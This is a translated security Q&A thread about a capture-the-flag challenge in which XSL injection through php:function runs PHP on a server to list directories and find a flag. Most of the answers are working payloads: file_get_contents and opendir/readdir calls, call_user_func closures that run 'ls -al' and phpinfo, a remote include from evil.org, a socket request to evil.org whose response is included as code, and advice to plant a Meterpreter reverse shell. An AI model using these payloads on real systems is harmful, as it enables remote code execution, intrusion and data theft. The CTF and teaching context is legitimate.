执行从 XSL 文件返回数组的 PHP 函数

信息安全 php xml 代码执行 xsl
2021-08-25 16:33:55

存在一个安全挑战,您必须在服务器上执行代码以检索标志,并且必须使用 XSL 文档执行此代码。

所以我找到了一种让服务器解释我自己的 XSL 文件的方法,并且我使用该php:function功能在服务器上执行了一个 php 函数。这是我提供给服务器的代码示例:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','index.php')"/>
</xsl:template>
</xsl:stylesheet>

此代码将输出页面的源代码index.php

下一步是scandir在服务器上执行以列出当前目录(查找标志)。我遇到的问题是来自服务器的响应只是Array,这就是服务器输出的全部内容。

在搜索了将近 8 个小时后,我被卡住了,我找不到任何 XSL 功能可以输出由scandir.

笔记:

  • 允许代码执行的函数(eval, exec, passthru, popen, proc_open, shell_exec, system)被服务器禁用。
  • 我真的是 XSL 和 XML 语言的初学者(完全菜鸟)。
4个回答

谈到 XSL,我也是个菜鸟。老实说,我没想到它会如此强大……而且如此危险。但无论如何我都会尝试一下。

我不知道是否可以从返回数组的函数中获取输出。也许您可以以某种方式嵌套函数调用?但是由于我对 XSL 缺乏了解,我无法告诉您如何操作。因此,让我们来解决整个问题。有没有办法在根本不需要处理数组的情况下获取目录列表?

进入 PHP 手册。以下两个函数看起来很有用:

resource opendir ( string $path [, resource $context ] )

打开一个目录句柄以在后续closedir()readdir()rewinddir()调用中使用。

string readdir ([ resource $dir_handle ] )

返回目录中下一个条目的名称。这些条目按照文件系统存储它们的顺序返回。[...]如果未指定目录句柄,opendir()则假定打开的最后一个链接。

因此,您将无法从中获取资源opendir,但是由于readdir假设您想从最后一个资源中读取它可能仍然有效。我建议使用这样的攻击文件:

<xsl:value-of select="php:function('opendir','/some/where/')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
...

编辑:php:functionString()根据php.net上的评论,显然有一个“将自动将输出转换为字符串”的 undocumentet 不确定它是否有帮助,但值得一试。

xmlns:php="http://php.net/xsl"

天哪!我不知道文档如此强大!

响应“Array”是您在 php.ini 中将数组隐式转换为字符串时得到的。只需将您对 scandir 的调用包装在将返回更好的字符串表示形式的内容中,正如 Conor 建议的那样,例如

 implode(',', scandir('/some/where'))

(参考注释 - print[_r] 会将其发送到标准输出 - 但 XSL 接口似乎正在直接读取返回值)。

假设 php:function 接口不允许这样做,那么您可以尝试使用目录迭代器对象之一(对象具有更好的序列化方法)。

另一种方法是只包含来自远程站点的 PHP 代码......

php:function('include','http://evil.org/interrogator.php')

如果您通过该 xslt 在服务器上执行任意 php 代码,您可以去掉中间人并在 metasploit 中使用带有反向 TCP 连接的 php Meterpreter,并在盒子上安装一个 Meterpreter。因此,如果标志不在文件名中而是在文件的内容中,您可以轻松下载或分类它。

您可以在 msf 中使用 generate -t​​ raw 并将配置的 php Meterpreter 作为模块并获取 php 代码以便轻松复制面食。

注意:写完这个答案后,我开始怀疑你是否可以通过可用的攻击向量传递匿名函数。我把这个答案留在这里,如果你愿意的话,你可以试试。

嗯...鉴于您描述的场景,我将尝试利用call_user_func(),preg_replace_callback()1的力量,结合匿名函数usort()

如果您可以使用任何接受回调的函数,那么您几乎可以获得 PHP 的全部潜力。


一些使用示例call_user_func()

示例 1
调用scandir()

<xsl:value-of select="php:function('call_user_func', function(){
    return print_r(scandir('..'), true);
})"/>


示例 2
由于这是一个捕获标志设置,请检查是否启用了Execution Operator(我对此表示怀疑,但值得一试):

<xsl:value-of select="php:function('call_user_func', function(){
    return `ls -al`;
})"/>



鉴于call_user_func()允许构建您自己的功能,您也可以做其他事情。

示例 3
检查服务器的配置:

<xsl:value-of select="php:function('call_user_func', function(){
    ob_start();
    phpinfo();
    return ob_get_clean();
})"/>


示例 4打开一个套接字,发出一个 HTTP 请求并通过数据流包装器
将结果作为 PHP 文件包含在内,这可能允许您绕过一些安全限制:

<xsl:value-of select="php:function('call_user_func', function(){
    ob_start();
    error_reporting(~0);
    ini_set(\'display_errors\', true);

    $errno = 0;
    $errstr = \'\';
    if (false === ($fp = fsockopen(\'evil.org\', 80, $errno, $errstr, 60))) {
        return \'Failed opening socket (\'.$errno.\')\': \'.$errstr;
    }

    fwrite($fp, &quot;GET / HTTP/1.1\r\nHost: evil.org\r\nConnection: Close\r\n\r\n\&quot;);
    $out = \'\';
    while (!feof($fp)) {
        $out .= fgets($fp, 128);
    }
    fclose($fp);
    include(\'data://text/plain;base64,\'.base64_encode($out));
    echo &quot;\n\nOk\n&quot;;
    return ob_get_clean();
})"/>

注意:如果在上面的代码示例\'中不起作用,请尝试将其替换为&apos;.

如果您不能include远程内容,则必须以字符串的形式提供所有必需的功能,这不太方便,但功能不一定不那么强大。


1存在接受回调函数的其他函数,因此,如果此答案中提到的函数被阻止,则在找到可用的函数之前,这是一个反复无常的问题。